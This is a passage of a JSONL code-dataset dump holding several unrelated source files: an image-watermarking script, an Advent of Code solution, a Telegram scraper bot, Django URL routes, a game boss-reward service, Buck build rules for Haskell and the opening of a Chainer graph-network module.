+{"seq_id":"418717883","text":"\r\n#使用PIL来对图像进行添加水印\r\nfrom PIL import Image,ImageDraw,ImageFont\r\nimg=Image.open('./me.jpg').convert(\"RGBA\")#将rgb格式转换为RGBA格式\r\n\r\nimg1=img.size[0]*img.size[1]\r\nprint('img1 ',img1)#得到一个图片大小的整数值\r\nprint('szie[0]',img.size[0])\r\nprint('size[1]',img.size[1])\r\n\r\n#获取字体 并设置大小\r\nnum_size=int(img1/20000)#设置水印的的英文大小为整张图片面积的2000分之一\r\nmyfont=ImageFont.truetype('cambria.ttc',num_size)#设置英文字符的字体\r\nmyfont1=ImageFont.truetype('STKAITI.TTF',80)#设置中文的字体及大小\r\n\r\ndraw=ImageDraw.Draw(img)#创建一个可以用ImageDraw操作的图像\r\ndraw.text((100,6),'EugeneLi',(255,255,255),font=myfont)\r\ndraw.text((100,100),u\"乖巧的剑\",(255,228,225),myfont1)#中文前面加u\r\n\r\n#参数依次是[a,b](以a、b两点作为矩阵的左上角和右下角,在中间画圆),颜色\r\ndraw.ellipse([(img.size[0]-55, 10), (img.size[0], 80)], fill=(255, 0, 0))\r\ndraw.text((img.size[0]-40, -5), '1', font=myfont1, fill=(255, 255, 255, 128))#圆中添加数字\r\n\r\nimg.show()\r\n\r\n\r\n","sub_path":"addFlag.py","file_name":"addFlag.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"576069512","text":"# -*- coding: utf-8 -*-\n\"\"\"Advent of Code 2015 - Day 8: Matchsticks.\"\"\"\n\n\ndef mlen(string):\n start = 1\n end = len(string) - 1\n result = 0\n pos = start\n while pos < end:\n if string[pos] != \"\\\\\":\n pos += 1\n result += 1\n elif string[pos + 1] in [\"\\\\\", '\"']:\n pos += 2\n result += 1\n else:\n pos += 4\n result += 1\n return result\n\n\ndef elen(string):\n result = 2\n for ch in string:\n if ch not in [\"\\\\\", '\"']:\n result += 1\n else:\n result += 2\n return result\n\n\ndef load_and_parse_input(input_file: str):\n puzzle = []\n with open(input_file) as inf:\n for line in inf.readlines():\n puzzle.append(line.strip())\n return puzzle\n\n\ndef part_1(puzzle):\n totals = list(map(len, puzzle))\n mtotals = list(map(mlen, puzzle))\n return sum(totals) - sum(mtotals)\n\n\ndef part_2(puzzle):\n totals = list(map(len, puzzle))\n etotals = list(map(elen, puzzle))\n return sum(etotals) - sum(totals)\n\n\ndef solve(puzzle):\n return (part_1(puzzle), part_2(puzzle))\n\n\nif __name__ == \"__main__\":\n puzzle = load_and_parse_input(\"2015/inputs/08.txt\")\n solution = solve(puzzle)\n print(solution)\n\n expected = (1371, 2117)\n assert expected == solution, f\"expected: {expected} actual: {solution}\"\n","sub_path":"2015/day-08.py","file_name":"day-08.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"315745081","text":"import telebot\nimport json\nfrom pprint import pprint\nimport time\nfrom pyvirtualdisplay import Display\nimport sys\nfrom scrapper import Scrapper\nfrom configuration import Configuration\n\ndef format_result(res):\n out = \"\"\n for obj in res:\n out += \"*\" + obj[\"subject\"] + \"*\" + \"\\n\"\n for notice in obj[\"notices\"]:\n out += \"*-* \" + notice + \"\\n\"\n out += \"\\n\"\n \n return \"0 notices from 0 subjects\" if out == \"\" else out\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1 and sys.argv[1] == \"--vdisplay\":\n display = Display(visible=0, size=(50, 50))\n display.start()\n\n scrapper = Scrapper()\n config = Configuration.read_configuration()\n token = config[\"botToken\"]\n bot = telebot.TeleBot(token)\n running = False\n firstTime = True\n last = []\n last_update = \"Never\"\n\n @bot.message_handler(commands=['Start'])\n def send_welcome(message):\n global running, last, firstTime, last_update\n\n if not running:\n bot.reply_to(message, \"Let's get started!\")\n \n running = True\n while(running):\n result = scrapper.getResult()\n\n if(result != last):\n last_update = time.strftime('%Y-%m-%d %H:%M:%S')\n last = result\n if not firstTime: bot.reply_to(message, \"New notices!\")\n \n if firstTime: firstTime = False\n\n time.sleep(config[\"timer\"] * 60)\n\n @bot.message_handler(commands=['Stop'])\n def send_finish(message):\n global running\n running = False;\n bot.reply_to(message, \"Program has stopped\")\n\n @bot.message_handler(commands=['Show'])\n def send_finish(message):\n global last\n last_formated = format_result(last)\n bot.send_message(message.chat.id, last_formated, parse_mode= \"MARKDOWN\")\n\n @bot.message_handler(commands=['Info'])\n def send_finish(message):\n global last_update\n out = \"*Last update*: \" + str(last_update)\n bot.send_message(message.chat.id, out, parse_mode= \"MARKDOWN\")\n\n @bot.message_handler(commands=['Commands'])\n def send_finish(message):\n out = \"*/Start*: Start program \\n\"\n out += \"*/Stop*: Stop program \\n\"\n out += \"*/Show*: Show all subjects with their notices \\n\" \n out += \"*/Info*: Get program info such as last update time \\n\"\n out += \"*/Commands*: Get commands and their description \\n\" \n bot.send_message(message.chat.id, out, parse_mode= \"MARKDOWN\")\n\n @bot.message_handler(func=lambda m:True)\n def echo_all(message):\n bot.reply_to(message, message.text)\n\n \n while True:\n try:\n bot.polling(none_stop=True)\n except Exception as e:\n time.sleep(15)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"584835545","text":"from django.conf.urls import url\n\nfrom .api import basic, friend, info\nfrom .api import ERROR\n\n\n\nurlpatterns = [\n url(r'^signup$', basic.sign_up, name='signup'),\n url(r'^login$', basic.login, name='login'),\n url(r'^reset$', basic.reset, name='reset'),\n url(r'^logout$', basic.logout, name='logout'),\n # Friendship related below\n url(r'^addreq$', friend.add_req, name='add_req'),\n url(r'^getreq$', friend.get_req, name='get_req'),\n url(r'^resreq$', friend.res_req, name='res_req'),\n url(r'^frdlist$', friend.frd_list, name='frd_list'),\n # info\n url(r'^getavatar$', info.get_avatar, name='get_avatar'),\n\n # Not visible to client below\n url(r'^error_login_required$', ERROR.error_login_required, name='error_login_required'),\n\n]\n","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"465964226","text":"# -*- coding: UTF-8 -*-\nfrom db_module.connect_db import *\nfrom db_module.code_db import *\nfrom battle_module.battle_dao import BattleDao\nfrom battle_module.package_dao import PackageDao\nfrom battle_module.equipment_db import EquipmentDB\nimport math,random\n\nclass BossService:\n def __init__(self):\n self.result=\"\"\n\n def initBoss(self):\n dao = BattleDao()\n boss = dao.selectActiveBoss()\n if(boss==None):\n return \"boss不存在\"\n DBHelper().delete(\"delete from dps\")\n boss.hp = boss.maxhp\n dao.updateBattleInfo(boss)\n return \"world boss init success \"\n\n def handleAfterChallange(self,process,a,boss):\n self.insertDps(process,a,boss)\n if(boss.hp<=0):\n self.bootySend(boss)\n return self.result\n\n def insertDps(self,process,a,boss):\n DBHelper().insert(\"insert dps(damage,userId,bossId) VALUES(\"+str(process.aDamage)+\",\"+str(a.userId)+\",\"+str(boss.userId)+\")\")\n\n def bootySend(self,boss):\n tupleList = DBHelper().selectAll(\"SELECT userId,sum(damage) as damage from dps where bossId=\"+str(boss.userId)+\" GROUP BY userId ORDER BY damage desc\")\n one = []\n two = []\n three = []\n size = len(tupleList)\n for i in range(size):\n if(i<(size/3)):\n one.append(tupleList[i][0])\n elif(i<(size/3*2)):\n two.append(tupleList[i][0])\n else:\n three.append(tupleList[i][0])\n self.handleExpMoney(one,3)\n self.handleExpMoney(two,2)\n self.handleExpMoney(three,1)\n self.result+=\"\\n\"\n self.bootyPackage(tupleList,boss.userId)\n\n def bootyPackage(self,tupleList,bossId):\n dao = PackageDao()\n bootys = dao.select(bossId)\n for b in bootys:\n temp = {}\n for record in tupleList:\n temp[record[0]] = random.randint(0,100)\n rd = {\"ID\":\"\",\"NUM\":0}\n for record in tupleList:\n if (rd['NUM'] < temp[record[0]]):\n rd['ID'] = record[0]\n rd['NUM'] = temp[record[0]]\n self.result += str(BattleDao().selectUserByUserId(rd[\"ID\"]).name)+\" 获得了\"+str(EquipmentDB.EDB[b[2]].name)+\"\\n\"\n dao.insert(rd[\"ID\"],b[2])\n return self.result\n\n def handleExpMoney(self,list,level):\n dao = BattleDao()\n baseExp = 50\n baseMoney =150\n for record in list:\n pa = dao.selectUserByUserId(record)\n aexp = math.floor((baseExp*level)*round(1+random.uniform(-0.1,0.2),2))\n money = math.floor((baseMoney*level)*round(1+random.uniform(-0.1,0.2),2))\n pa.exp += aexp\n self.result += pa.name + \" 获得\"+str(aexp)+\"点经验 获得\"+str(money)+\"大给币\\n\"\n if(pa.exp/100 > pa.level):\n pa.level+=1\n pa.maxhp += 100\n pa.hp += 200\n dao.updateBattleInfo(pa)\n dao.updateCoin(money,pa.userId)\n","sub_path":"battle_module/boss.py","file_name":"boss.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"468663099","text":"load(\"@bazel_skylib//lib:collections.bzl\", \"collections\")\nload(\"@bazel_skylib//lib:paths.bzl\", \"paths\")\nload(\"@fbcode_macros//build_defs/lib:build_mode.bzl\", _build_mode = \"build_mode\")\nload(\"@fbcode_macros//build_defs/lib:cpp_common.bzl\", \"cpp_common\")\nload(\"@fbcode_macros//build_defs/lib:haskell_common.bzl\", \"haskell_common\")\nload(\"@fbcode_macros//build_defs/lib:src_and_dep_helpers.bzl\", \"src_and_dep_helpers\")\nload(\"@fbcode_macros//build_defs/lib:target_utils.bzl\", \"target_utils\")\nload(\"@fbcode_macros//build_defs/lib:third_party.bzl\", \"third_party\")\nload(\"@fbcode_macros//build_defs/lib:visibility.bzl\", \"get_visibility\")\nload(\"@fbcode_macros//build_defs:config.bzl\", \"config\")\nload(\"@fbcode_macros//build_defs:custom_rule.bzl\", \"get_project_root_from_gen_dir\")\nload(\"@fbcode_macros//build_defs:platform_utils.bzl\", \"platform_utils\")\nload(\"@fbsource//tools/build_defs:fb_native_wrapper.bzl\", \"fb_native\")\n\n_HAPPY = target_utils.ThirdPartyToolRuleTarget(\"hs-happy\", \"happy\")\n\ndef _happy_rule(name, platform, happy_src, visibility):\n \"\"\"\n Create rules to generate a Haskell source from the given happy file.\n \"\"\"\n happy_name = name + \"-\" + happy_src\n\n fb_native.genrule(\n name = happy_name,\n visibility = get_visibility(visibility, happy_name),\n out = paths.split_extension(happy_src)[0] + \".hs\",\n srcs = [happy_src],\n cmd = \" && \".join([\n 'mkdir -p `dirname \"$OUT\"`',\n '$(exe {happy}) -o \"$OUT\" -ag \"$SRCS\"'.format(\n happy = target_utils.target_to_label(_HAPPY, fbcode_platform = platform),\n ),\n ]),\n )\n\n return \":\" + happy_name\n\n_ALEX = target_utils.ThirdPartyToolRuleTarget(\"hs-alex\", \"alex\")\n\ndef _alex_rule(name, platform, alex_src, visibility):\n \"\"\"\n Create rules to generate a Haskell source from the given alex file.\n \"\"\"\n alex_name = name + \"-\" + alex_src\n\n fb_native.genrule(\n name = alex_name,\n visibility = get_visibility(visibility, alex_name),\n out = paths.split_extension(alex_src)[0] + \".hs\",\n srcs = [alex_src],\n cmd = \" && \".join([\n 'mkdir -p `dirname \"$OUT\"`',\n '$(exe {alex}) -o \"$OUT\" -g \"$SRCS\"'.format(\n alex = target_utils.target_to_label(_ALEX, fbcode_platform = platform),\n ),\n ]),\n )\n\n return \":\" + alex_name\n\ndef _dep_rule(base_path, name, deps, visibility):\n \"\"\"\n Sets up a dummy rule with the given dep objects formatted and installed\n using `deps` and `platform_deps` to support multi-platform builds.\n\n This is useful to package a given dep list, which requires multi-\n platform dep parameter support, into a single target that can be used\n in interfaces that don't have this support (e.g. macros in `genrule`s\n and `cxx_genrule`).\n \"\"\"\n\n # Setup platform default for compilation DB, and direct building.\n buck_platform = platform_utils.get_buck_platform_for_base_path(base_path)\n lib_deps, lib_platform_deps = src_and_dep_helpers.format_all_deps(deps)\n\n fb_native.cxx_library(\n name = name,\n visibility = get_visibility(visibility, name),\n preferred_linkage = \"static\",\n deps = lib_deps,\n platform_deps = lib_platform_deps,\n default_platform = buck_platform,\n defaults = {\"platform\": buck_platform},\n )\n\nC2HS = target_utils.ThirdPartyRuleTarget(\"stackage-lts\", \"bin/c2hs\")\n\nC2HS_TEMPL = '''\\\nset -e\nmkdir -p `dirname \"$OUT\"`\n\n# The C/C++ toolchain currently expects we're running from the root of fbcode.\ncd {fbcode}\n\n# The `c2hs` tool.\nargs=($(location {c2hs}))\n\n# Add in the C/C++ preprocessor.\nargs+=(\"--cpp=\"$(cc))\n\n# Add in C/C++ preprocessor flags.\ncppflags=(-E)\ncppflags+=($(cppflags{deps}))\nfor cppflag in \"${{cppflags[@]}}\"; do\n args+=(\"--cppopts=$cppflag\")\ndone\n\n# The output file and input source.\nargs+=(\"-o\" \"$OUT\")\nargs+=(\"$SRCS\")\n\nexec \"${{args[@]}}\"\n'''\n\ndef _c2hs(base_path, name, platform, source, deps, visibility):\n \"\"\"\n Construct the rules to generate a haskell source from the given `c2hs`\n source.\n \"\"\"\n\n # Macros in the `cxx_genrule` below don't support the `platform_deps`\n # parameter that we rely on to support multi-platform builds. So use\n # a helper rule for this, and just depend on the helper.\n deps_name = name + \"-\" + source + \"-deps\"\n d = cpp_common.get_binary_link_deps(base_path, deps_name)\n _dep_rule(base_path, deps_name, deps + d, visibility)\n source_name = name + \"-\" + source\n fb_native.cxx_genrule(\n name = source_name,\n visibility = get_visibility(visibility, source_name),\n cmd = (\n C2HS_TEMPL.format(\n fbcode = (\n paths.join(\n \"$GEN_DIR\",\n get_project_root_from_gen_dir(),\n )\n ),\n c2hs = target_utils.target_to_label(C2HS, fbcode_platform = platform),\n deps = \" :\" + deps_name,\n )\n ),\n srcs = [source],\n out = paths.split_extension(source)[0] + \".hs\",\n )\n\n return \":\" + source_name\n\nHSC2HS_TEMPL = '''\\\nset -e\nmkdir -p `dirname \"$OUT\"`\n\n# The C/C++ toolchain currently expects we're running from the root of fbcode.\ncd {fbcode}\n\n# The `hsc2hs` tool.\nargs=({ghc_tool}/bin/hsc2hs)\n\n# Keep hsc2hs's internal files around, since this is useful for debugging and\n# doesn't hurt us.\nargs+=(\"--keep-files\")\n\nargs+=(\"--template=template-hsc.h\")\n\n# Always define __HSC2HS__ in the C program and the compiled Haskell file, and\n# the C header.\nargs+=(\"--define=__HSC2HS__\")\n\n# We need to pass \"-x c++\" to the compiler that hsc2hs invokes, but *before*\n# any file paths; hsc2hs passes flags *after* paths. The easy and morally\n# tolerable workaround is to generate a shell script that partially applies\n# the flag.\nCC_WRAP=\"$OUT\".cc_wrap.sh\necho > \"$CC_WRAP\" '#!/bin/sh'\n\n# TODO: T23700463 Turn distcc back on\necho >> \"$CC_WRAP\" 'BUCK_DISTCC=0 $(cxx) -x c++ \"$@\"'\nchmod +x \"$CC_WRAP\"\n# Set 'CXX' locally to the real compiler being invoked, so that hsc2hs plugins\n# needing to invoke the compiler can do so correctly.\nexport CXX=\"$CC_WRAP\"\nargs+=(\"--cc=$CC_WRAP\")\n\n# Pass in the C/C++ compiler and preprocessor flags.\ncflags=()\ncflags+=(\"-fpermissive\")\ncflags+=($(cxxflags))\ncflags+=($(cxxppflags{deps}))\nltoflag=\"\"\n# Needed for `template-hsc.h`.\ncflags+=(-I{ghc}/lib)\nfor cflag in \"${{cflags[@]}}\"; do\n if [[ \"$cflag\" == \"-flto\" || \"$cflag\" =~ \"-flto=\" ]]; then\n ltoflag=\"$cflag\"\n fi\n args+=(--cflag=\"$cflag\")\ndone\n\n# Add in the C/C++ linker.\nargs+=(\"--ld=$(ld)\")\n\n# Add in the linker flags.\nldflags=($(ldflags-{link_style}{deps}))\nif [ ! -z \"$ltoflag\" ]; then\n ldflags+=(\"$ltoflag\")\nfi\nldflags+=(\"-o\" \"`dirname $OUT`/{out_obj}\")\nfor ldflag in \"${{ldflags[@]}}\"; do\n args+=(--lflag=\"$ldflag\")\ndone\n\n# Link the \"run once\" hsc2hs binary stripped. This makes some hsc files\n# go from 20s to 10s and the \"run once\" binary from 800M to 40M when\n# statically linked. Situations where one would want to debug them are\n# very rare.\n# This doesn't make a difference when dynamically linked.\nargs+=(\"--lflag=-Xlinker\")\nargs+=(\"--lflag=-s\")\n\n# When linking in `dev` mode, make sure that the ASAN symbols that get linked\n# into the top-level binary are made available for any dependent libraries.\nif [ \"{link_style}\" == \"shared\" ]; then\n args+=(\"--lflag=-Xlinker\")\n args+=(\"--lflag=--export-dynamic\")\nfi;\n\n# The output file and input source.\nargs+=(\"-o\" \"$OUT\")\nargs+=(\"$SRCS\")\n\nexec \"${{args[@]}}\"\n'''\n\ndef _hsc2hs(\n base_path,\n name,\n platform,\n source,\n deps,\n visibility):\n \"\"\"\n Construct the rules to generate a haskell source from the given\n `hsc2hs` source.\n \"\"\"\n\n # Macros in the `cxx_genrule` below don't support the `platform_deps`\n # parameter that we rely on to support multi-platform builds. So use\n # a helper rule for this, and just depend on the helper.\n deps_name = name + \"-\" + source + \"-deps\"\n d = cpp_common.get_binary_link_deps(base_path, deps_name)\n _dep_rule(base_path, deps_name, deps + d, visibility)\n\n out_obj = paths.split_extension(paths.basename(source))[0] + \"_hsc_make\"\n source_name = name + \"-\" + source\n fb_native.cxx_genrule(\n name = source_name,\n visibility = get_visibility(visibility, source_name),\n cmd = (\n HSC2HS_TEMPL.format(\n fbcode = (\n paths.join(\n \"$GEN_DIR\",\n get_project_root_from_gen_dir(),\n )\n ),\n ghc_tool = third_party.get_tool_path(\"ghc\", platform),\n ghc = paths.join(third_party.get_build_path(platform), \"ghc\"),\n link_style = config.get_default_link_style(),\n deps = \" :\" + deps_name,\n out_obj = out_obj,\n )\n ),\n srcs = [source],\n out = paths.split_extension(source)[0] + \".hs\",\n )\n\n return \":\" + source_name\n\ndef _get_deps_for_packages(packages, platform):\n return [haskell_common.get_dep_for_package(p, platform) for p in packages]\n\n# Packages enabled by default unless you specify fb_haskell = False\n_FB_HASKELL_PACKAGES = [\n \"aeson\",\n \"async\",\n \"attoparsec\",\n \"binary\",\n \"bytestring\",\n \"containers\",\n \"data-default\",\n \"deepseq\",\n \"directory\",\n \"either\",\n \"filepath\",\n \"hashable\",\n \"mtl\",\n \"optparse-applicative\",\n \"pretty\",\n \"process\",\n \"scientific\",\n \"statistics\",\n \"text\",\n \"text-show\",\n \"time\",\n \"transformers\",\n \"unordered-containers\",\n \"QuickCheck\",\n \"unix\",\n \"vector\",\n]\n\n_ALEX_PACKAGES = [\"array\", \"bytestring\"]\n\n_HAPPY_PACKAGES = [\"array\"]\n\n_IMPLICIT_TP_DEPS = [\n target_utils.ThirdPartyRuleTarget(\"ghc\", \"base\"),\n\n # TODO(agallagher): These probably need to be moved into the TARGETS\n # rule definition for a core lib.\n target_utils.ThirdPartyRuleTarget(\"glibc\", \"dl\"),\n target_utils.ThirdPartyRuleTarget(\"glibc\", \"m\"),\n target_utils.ThirdPartyRuleTarget(\"glibc\", \"pthread\"),\n]\n\ndef _get_implicit_deps():\n \"\"\"\n The deps that all haskell rules implicitly depend on.\n \"\"\"\n\n return _IMPLICIT_TP_DEPS\n\ndef _convert_rule(\n rule_type,\n base_path,\n name = None,\n main = None,\n srcs = (),\n deps = (),\n external_deps = (),\n packages = (),\n compiler_flags = (),\n warnings_flags = (),\n lang_opts = (),\n enable_haddock = False,\n haddock_flags = None,\n enable_profiling = None,\n ghci_bin_dep = None,\n ghci_init = None,\n extra_script_templates = (),\n eventlog = None,\n link_whole = None,\n force_static = None,\n fb_haskell = True,\n allocator = \"jemalloc\",\n dlls = {},\n visibility = None):\n _ignore = enable_haddock\n _ignore = eventlog\n\n is_binary = rule_type in (\n \"haskell_binary\",\n \"haskell_unittest\",\n )\n is_test = rule_type == \"haskell_unittest\"\n is_deployable = rule_type in (\n \"haskell_binary\",\n \"haskell_unittest\",\n \"haskell_ghci\",\n )\n\n out_compiler_flags = []\n out_linker_flags = []\n out_link_style = cpp_common.get_link_style()\n platform = platform_utils.get_platform_for_base_path(base_path)\n\n attributes = {}\n attributes[\"name\"] = name\n attributes[\"visibility\"] = get_visibility(visibility, name)\n\n if is_binary:\n if main != None:\n attributes[\"main\"] = main\n elif not (\"Main.hs\" in srcs):\n fail(\n \"Must define `main` attribute on {0}:{1}\".format(\n base_path,\n name,\n ),\n )\n\n if link_whole != None:\n attributes[\"link_whole\"] = link_whole\n\n if force_static != None:\n attributes[\"preferred_linkage\"] = \"static\"\n\n if rule_type == \"haskell_ghci\":\n out_compiler_flags.append(\"-fexternal-interpreter\")\n\n # Mark binary_link_deps to be preloaded\n d = cpp_common.get_binary_link_deps(base_path, name, allocator = allocator)\n attributes[\"preload_deps\"], attributes[\"platform_preload_deps\"] = \\\n src_and_dep_helpers.format_all_deps(d)\n\n attributes[\"extra_script_templates\"] = [\n src_and_dep_helpers.convert_source(base_path, template)\n for template in extra_script_templates\n ]\n template_base_names = []\n\n # BUCK generates a standard script with the same name as TARGET\n # by default\n template_base_names.append(name)\n for template_path in attributes[\"extra_script_templates\"]:\n template_base_names.append(paths.basename(template_path))\n if len(template_base_names) > len(collections.uniq(template_base_names)):\n fail(\n \"{0}:{1}: parameter `extra_script_templates`: \".format(\n base_path,\n name,\n ) +\n \"Template file names must be unique and not same as \" +\n \"the TARGET name\",\n )\n\n if ghci_bin_dep != None:\n bin_dep_target = src_and_dep_helpers.convert_build_target(base_path, ghci_bin_dep)\n attributes[\"ghci_bin_dep\"] = bin_dep_target\n\n if ghci_init != None:\n attributes[\"ghci_init\"] = src_and_dep_helpers.convert_source(base_path, ghci_init)\n\n if haskell_common.read_hs_profile():\n attributes[\"enable_profiling\"] = True\n elif enable_profiling != None:\n attributes[\"enable_profiling\"] = enable_profiling\n\n if haskell_common.read_hs_eventlog():\n out_linker_flags.append(\"-eventlog\")\n if haskell_common.read_hs_debug():\n out_linker_flags.append(\"-debug\")\n\n if rule_type == \"haskell_library\":\n out_haddock_flags = [\n \"--source-entity\",\n \"https://phabricator.intern.facebook.com/diffusion/FBS/browse/\" +\n \"master/fbcode/%{FILE}$%{LINE}\",\n ]\n\n # keep TARGETS specific flags last, so that they can override the\n # flags before\n if haddock_flags:\n out_haddock_flags.extend(haddock_flags)\n attributes[\"haddock_flags\"] = out_haddock_flags\n\n validated_compiler_flags = []\n validated_compiler_flags.extend(\n haskell_common.get_compiler_flags(compiler_flags, fb_haskell),\n )\n ldflags = (\n cpp_common.get_ldflags(\n base_path,\n name,\n rule_type,\n binary = is_binary,\n deployable = is_deployable,\n # Never apply stripping flags to library rules, as they only\n # get linked when using dynamic linking (which we avoid\n # applying stripping to anyway), and added unused linker flags\n # affect rule keys up the tree.\n strip_mode = None if is_deployable else \"none\",\n build_info = is_deployable,\n platform = platform if is_deployable else None,\n )\n )\n for ldflag in ldflags:\n out_linker_flags.extend([\"-optl\", ldflag])\n out_linker_flags.extend(validated_compiler_flags)\n\n out_compiler_flags.extend(haskell_common.get_warnings_flags(warnings_flags))\n out_compiler_flags.extend(validated_compiler_flags)\n out_compiler_flags.extend(\n haskell_common.get_language_options(lang_opts, fb_haskell),\n )\n build_mode = _build_mode.get_build_mode_for_current_buildfile()\n if build_mode != None:\n out_compiler_flags.extend(build_mode.ghc_flags)\n out_compiler_flags.extend(haskell_common.read_extra_ghc_compiler_flags())\n if out_compiler_flags:\n attributes[\"compiler_flags\"] = out_compiler_flags\n\n # If this is binary and we're using the shared link style, set this in\n # the output attributes.\n if is_deployable and config.get_default_link_style() == \"shared\":\n out_link_style = \"shared\"\n\n # Collect all deps specified by the user.\n user_deps = []\n for dep in deps:\n user_deps.append(target_utils.parse_target(dep, default_base_path = base_path))\n for dep in external_deps:\n user_deps.append(src_and_dep_helpers.normalize_external_dep(dep))\n user_deps.extend(_get_deps_for_packages(packages, platform))\n if fb_haskell:\n user_deps.extend(_get_deps_for_packages(\n [x for x in _FB_HASKELL_PACKAGES if x not in packages],\n platform,\n ))\n user_deps.extend(_get_implicit_deps())\n\n # Convert the various input source types to haskell sources.\n out_srcs = []\n implicit_src_deps = []\n for src in srcs:\n _, ext = paths.split_extension(src)\n if ext == \".y\":\n src = _happy_rule(name, platform, src, visibility)\n out_srcs.append(src)\n implicit_src_deps.extend(\n _get_deps_for_packages(_HAPPY_PACKAGES, platform),\n )\n elif ext == \".x\":\n src = _alex_rule(name, platform, src, visibility)\n out_srcs.append(src)\n implicit_src_deps.extend(\n _get_deps_for_packages(_ALEX_PACKAGES, platform),\n )\n elif ext == \".hsc\":\n src = (\n _hsc2hs(\n base_path,\n name,\n platform,\n src,\n user_deps,\n visibility,\n )\n )\n out_srcs.append(src)\n elif ext == \".chs\":\n src = (\n _c2hs(\n base_path,\n name,\n platform,\n src,\n user_deps,\n visibility,\n )\n )\n out_srcs.append(src)\n else:\n out_srcs.append(src)\n attributes[\"srcs\"] = out_srcs\n\n # The final list of dependencies.\n dependencies = []\n dependencies.extend(user_deps)\n dependencies.extend([\n x\n for x in sorted(collections.uniq(implicit_src_deps))\n if x not in user_deps\n ])\n\n # Handle DLL deps.\n out_dep_queries = []\n if dlls:\n buck_platform = platform_utils.get_buck_platform_for_base_path(base_path)\n dll_deps, dll_ldflags, dll_dep_queries = (\n haskell_common.convert_dlls(\n name,\n platform,\n buck_platform,\n dlls,\n visibility = visibility,\n )\n )\n dependencies.extend(dll_deps)\n optlflags = []\n for f in dll_ldflags:\n optlflags.append(\"-optl\")\n optlflags.append(f)\n out_linker_flags.extend(optlflags)\n out_dep_queries.extend(dll_dep_queries)\n\n # We don't currently support dynamic linking with DLL support, as\n # we don't have a great way to prevent dependency DSOs needed by\n # the DLL, but *not* needed by the top-level binary, from being\n # dropped from the `DT_NEEDED` tags when linking with\n # `--as-needed`.\n if out_link_style == \"shared\":\n out_link_style = \"static_pic\"\n\n if out_dep_queries:\n attributes[\"deps_query\"] = \" union \".join(out_dep_queries)\n attributes[\"link_deps_query_whole\"] = True\n\n out_linker_flags.extend(haskell_common.read_extra_ghc_linker_flags())\n if out_linker_flags:\n attributes[\"linker_flags\"] = out_linker_flags\n\n if is_deployable:\n attributes[\"platform\"] = platform_utils.get_buck_platform_for_base_path(base_path)\n\n # TODO: support `link_style` for `haskell_ghci` rule.\n if rule_type != \"haskell_ghci\":\n attributes[\"link_style\"] = out_link_style\n\n if is_test:\n dependencies.append(haskell_common.get_dep_for_package(\"HUnit\", platform))\n dependencies.append(target_utils.RootRuleTarget(\"tools/test/stubs\", \"fbhsunit\"))\n\n # Add in binary-specific link deps.\n add_preload_deps = rule_type in (\"haskell_library\", \"haskell_binary\")\n if is_binary or add_preload_deps:\n d = cpp_common.get_binary_link_deps(base_path, name, allocator = allocator)\n if is_binary:\n dependencies.extend(d)\n\n # Mark binary_link_deps to be preloaded\n if add_preload_deps:\n attributes[\"ghci_preload_deps\"], attributes[\"ghci_platform_preload_deps\"] = \\\n src_and_dep_helpers.format_all_deps(d)\n\n attributes[\"deps\"], attributes[\"platform_deps\"] = (\n src_and_dep_helpers.format_all_deps(dependencies)\n )\n\n return attributes\n\ndef _dll(base_path, name, dll, visibility = None, **kwargs):\n \"\"\"\n Generate rules to build a dynamic library.\n \"\"\"\n _ignore = dll\n\n # Generate rules to build the haskell library. We set `link_whole`\n # here as it'll be the main component of the shared library we build\n # below. We also use an obsfucated name so that dependents must use\n # their `dll` parameter to depend on it.\n lib_name = name + \"-dll-root\"\n fb_native.haskell_library(\n **_convert_rule(\n rule_type = \"haskell_library\",\n base_path = base_path,\n name = lib_name,\n link_whole = True,\n force_static = True,\n visibility = visibility,\n **kwargs\n )\n )\n\n # For backwards compatiblity with fbbuild, generate a noop rule under\n # the original name. This is so unported fbbuild use cases of DLLs\n # don't break the build.\n\n fb_native.genrule(\n name = name,\n visibility = get_visibility(visibility, name),\n out = \"empty\",\n cmd = 'touch \"$OUT\"',\n )\n\nhaskell_rules = struct(\n convert_rule = _convert_rule,\n dll = _dll,\n get_deps_for_packages = _get_deps_for_packages,\n)\n","sub_path":"infra_macros/fbcode_macros/build_defs/lib/haskell_rules.bzl","file_name":"haskell_rules.bzl","file_ext":"bzl","file_size_in_byte":21739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"497284454","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time : 4/28/2019 3:53 PM\r\n# @Author : chinshin\r\n# @FileName: ggnn_dev_jk_gru.py\r\n\r\nfrom __future__ import unicode_literals\r\nfrom __future__ import print_function\r\nimport numpy as np\r\nimport chainer\r\nfrom chainer import cuda\r\nfrom chainer import functions\r\nfrom chainer import links\r\nfrom chainer.backends import cuda\r\nimport chainer_chemistry\r\nfrom chainer_chemistry.config import MAX_ATOMIC_NUM\r\nfrom chainer_chemistry.links import EmbedAtomID\r\nfrom chainer_chemistry.links import GraphLinear\r\n\r\n\r\ndef select_aggr(layer_aggr, n_layers=None, in_size=None, out_size=None, dropout=0.0):\r\n assert layer_aggr is not None\r\n if layer_aggr == 'concat':\r\n aggr = ConcatAggregator()\r\n elif layer_aggr == 'max':\r\n aggr = MaxAggregator()\r\n elif layer_aggr == 'mean':\r\n aggr = AvgAggregator()\r\n elif layer_aggr == 'gru':\r\n assert n_layers is not None and \\\r\n in_size is not None and out_size is not None\r\n aggr = GRUAggregator(n_layers, in_size, out_size, dropout)\r\n elif layer_aggr == 'bigru':\r\n assert n_layers is not None and \\\r\n in_size is not None and out_size is not None\r\n aggr = BiGRUAggregator(n_layers, in_size, out_size, dropout)\r\n elif layer_aggr == 'attn':\r\n assert n_layers is not None\r\n aggr = 